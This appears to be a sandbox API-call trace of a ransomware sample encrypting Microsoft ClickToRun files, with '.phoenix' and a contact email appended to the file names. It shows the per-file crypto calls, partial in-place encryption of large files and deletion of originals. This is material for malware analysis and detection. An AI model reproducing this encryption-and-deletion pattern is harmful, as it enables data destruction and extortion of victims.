	[0072.643] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat")) returned 0x20
	[0072.643] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0072.644] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\stream.x64.x-none.man.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\stream.x64.x-none.man.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0072.644] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf740 | out: lpNewFilePointer=0x0) returned 1
	[0072.644] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf740 | out: lpNewFilePointer=0x0) returned 1
	[0072.644] ReadFile (in: hFile=0x34c, lpBuffer=0x3a32058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34cf74c, lpOverlapped=0x0 | out: lpBuffer=0x3a32058*, lpNumberOfBytesRead=0x34cf74c*=0x40000, lpOverlapped=0x0) returned 1
	[0072.794] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x12c2ae, lpNewFilePointer=0x0, dwMoveMethod=0x34cf740 | out: lpNewFilePointer=0x0) returned 1
	[0072.794] ReadFile (in: hFile=0x34c, lpBuffer=0x3a72058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34cf74c, lpOverlapped=0x0 | out: lpBuffer=0x3a72058*, lpNumberOfBytesRead=0x34cf74c*=0x40000, lpOverlapped=0x0) returned 1
	[0073.545] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x34480a, lpNewFilePointer=0x0, dwMoveMethod=0x34cf740 | out: lpNewFilePointer=0x0) returned 1
	[0073.546] ReadFile (in: hFile=0x34c, lpBuffer=0x3ab2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34cf74c, lpOverlapped=0x0 | out: lpBuffer=0x3ab2058*, lpNumberOfBytesRead=0x34cf74c*=0x40000, lpOverlapped=0x0) returned 1
	[0073.593] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf730, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf79c | out: phKey=0x34cf79c*=0xbaa5c8) returned 1
	[0073.593] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0073.593] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf750*=0xc0070, dwBufLen=0xc0070 | out: pbData=0x3a32020*, pdwDataLen=0x34cf750*=0xc0070) returned 1
	[0073.594] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0073.595] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf778 | out: lpNewFilePointer=0x0) returned 1
	[0073.595] WriteFile (in: hFile=0x34c, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xc0122, lpNumberOfBytesWritten=0x34cf788, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf788*=0xc0122, lpOverlapped=0x0) returned 1
	[0073.626] SetEndOfFile (hFile=0x34c) returned 1
	[0073.626] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x34480a, lpNewFilePointer=0x0, dwMoveMethod=0x34cf748 | out: lpNewFilePointer=0x0) returned 1
	[0073.626] WriteFile (in: hFile=0x34c, lpBuffer=0x3af215a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34cf754, lpOverlapped=0x0 | out: lpBuffer=0x3af215a*, lpNumberOfBytesWritten=0x34cf754*=0x40000, lpOverlapped=0x0) returned 1
	[0073.752] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x12c2ae, lpNewFilePointer=0x0, dwMoveMethod=0x34cf748 | out: lpNewFilePointer=0x0) returned 1
	[0073.752] WriteFile (in: hFile=0x34c, lpBuffer=0x3af215a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34cf754, lpOverlapped=0x0 | out: lpBuffer=0x3af215a*, lpNumberOfBytesWritten=0x34cf754*=0x40000, lpOverlapped=0x0) returned 1
	[0073.757] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf748 | out: lpNewFilePointer=0x0) returned 1
	[0073.757] WriteFile (in: hFile=0x34c, lpBuffer=0x3af215a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34cf754, lpOverlapped=0x0 | out: lpBuffer=0x3af215a*, lpNumberOfBytesWritten=0x34cf754*=0x40000, lpOverlapped=0x0) returned 1
	[0073.761] CloseHandle (hObject=0x34c) returned 1
	[0076.185] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0076.185] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0076.185] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=1974) returned 1
	[0076.185] CloseHandle (hObject=0x340) returned 1
	[0076.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml")) returned 0x20
	[0076.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0076.186] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0076.186] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0076.186] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0076.186] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0076.870] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa7c8) returned 1
	[0076.870] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0076.870] ReadFile (in: hFile=0x340, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x7b6, lpOverlapped=0x0) returned 1
	[0077.758] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x7c0, dwBufLen=0x7c0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x7c0) returned 1
	[0077.758] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x7c0, lpOverlapped=0x0) returned 1
	[0077.759] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa2c8) returned 1
	[0077.759] CryptSetKeyParam (hKey=0xbaa2c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0077.759] CryptEncrypt (in: hKey=0xbaa2c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0077.759] CryptDestroyKey (hKey=0xbaa2c8) returned 1
	[0077.759] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0077.759] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0077.759] CloseHandle (hObject=0x340) returned 1
	[0077.759] CloseHandle (hObject=0x320) returned 1
	[0077.763] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml")) returned 1
	[0077.764] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0077.764] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0077.764] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=1382) returned 1
	[0077.764] CloseHandle (hObject=0x320) returned 1
	[0077.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml")) returned 0x20
	[0077.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0077.765] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0077.765] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0077.765] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0077.765] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.765] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa5c8) returned 1
	[0077.765] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0077.765] ReadFile (in: hFile=0x320, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x566, lpOverlapped=0x0) returned 1
	[0077.881] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x570, dwBufLen=0x570 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x570) returned 1
	[0077.881] WriteFile (in: hFile=0x340, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x570, lpOverlapped=0x0) returned 1
	[0077.882] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa608) returned 1
	[0077.882] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0077.882] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0077.882] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0077.882] WriteFile (in: hFile=0x340, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0077.882] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0077.882] CloseHandle (hObject=0x320) returned 1
	[0077.882] CloseHandle (hObject=0x340) returned 1
	[0077.884] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml")) returned 1
	[0077.885] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0077.885] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.885] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=614) returned 1
	[0077.885] CloseHandle (hObject=0x340) returned 1
	[0077.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml")) returned 0x20
	[0077.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0077.886] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0077.886] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0077.886] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0077.886] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0077.886] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa688) returned 1
	[0077.887] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0077.887] ReadFile (in: hFile=0x340, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x266, lpOverlapped=0x0) returned 1
	[0077.887] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x270, dwBufLen=0x270 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x270) returned 1
	[0077.887] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x270, lpOverlapped=0x0) returned 1
	[0077.888] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa608) returned 1
	[0077.889] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0077.889] CryptEncrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60, dwBufLen=0x60 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x60) returned 1
	[0077.889] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0077.889] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x112, lpOverlapped=0x0) returned 1
	[0077.889] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0077.889] CloseHandle (hObject=0x340) returned 1
	[0077.889] CloseHandle (hObject=0x320) returned 1
	[0077.892] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserDeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\userdeploymentconfiguration.xml")) returned 1
	[0077.893] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0077.893] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0077.893] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=3729832) returned 1
	[0077.893] CloseHandle (hObject=0x320) returned 1
	[0077.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml")) returned 0x20
	[0077.895] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml"), lpNewFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 1
	[0077.896] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\UserManifest.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\usermanifest.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0077.896] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf740 | out: lpNewFilePointer=0x0) returned 1
	[0077.896] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf740 | out: lpNewFilePointer=0x0) returned 1
	[0077.896] ReadFile (in: hFile=0x320, lpBuffer=0x3a32058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34cf74c, lpOverlapped=0x0 | out: lpBuffer=0x3a32058*, lpNumberOfBytesRead=0x34cf74c*=0x40000, lpOverlapped=0x0) returned 1
	[0078.293] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x12f88d, lpNewFilePointer=0x0, dwMoveMethod=0x34cf740 | out: lpNewFilePointer=0x0) returned 1
	[0078.293] ReadFile (in: hFile=0x320, lpBuffer=0x3a72058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34cf74c, lpOverlapped=0x0 | out: lpBuffer=0x3a72058*, lpNumberOfBytesRead=0x34cf74c*=0x40000, lpOverlapped=0x0) returned 1
	[0078.786] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x34e9a8, lpNewFilePointer=0x0, dwMoveMethod=0x34cf740 | out: lpNewFilePointer=0x0) returned 1
	[0078.786] ReadFile (in: hFile=0x320, lpBuffer=0x3ab2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x34cf74c, lpOverlapped=0x0 | out: lpBuffer=0x3ab2058*, lpNumberOfBytesRead=0x34cf74c*=0x40000, lpOverlapped=0x0) returned 1
	[0079.647] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf730, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf79c | out: phKey=0x34cf79c*=0xbaa348) returned 1
	[0079.647] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0079.647] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf750*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3a32020*, pdwDataLen=0x34cf750*=0xc0060) returned 1
	[0079.648] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0079.648] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf778 | out: lpNewFilePointer=0x0) returned 1
